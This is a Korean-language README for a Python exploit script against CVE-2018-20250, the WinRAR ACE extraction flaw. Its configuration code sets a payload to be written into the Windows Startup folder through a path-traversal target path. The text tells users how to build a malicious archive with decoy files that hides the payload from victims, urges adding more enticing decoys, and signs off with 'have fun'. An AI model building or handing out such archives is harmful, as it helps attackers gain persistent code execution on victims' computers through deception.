
CVE-2018-20250에 대한 Python 익스플로잇 스크립트로, WinRAR의 ACE 파일 추출 취약점을 통해 코드 실행을 위해 악성 RAR 아카이브를 생성하며, 시작 폴더 지속성을 대상으로 합니다.
Winrar에서 코드 실행 추출을 위한 exp
Ridter의 poc
사용 방법?
python 3.7을 설치하고, 실행하려는 악성 파일을 준비한 다음 원하는 값을 설정하기만 하면 됩니다. 이 exp 스크립트가 악성 아카이브 파일을 자동으로 생성합니다!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
exp를 실행하면 exp가 자동으로 test.rar를 생성합니다.
피해자가 test.rar를 열면 hello.txt와 world.txt 파일을 보게 됩니다. 더 많은 파일, 더 매력적인 파일을 추가할 수도 있습니다.
![]()
hi.exe라는 파일이 하나 더 생깁니다. 실제로는 calc.exe입니다. 컴퓨터를 다시 시작하면 hi.exe가 실행됩니다.![]()
즐거운 시간 보내세요! :)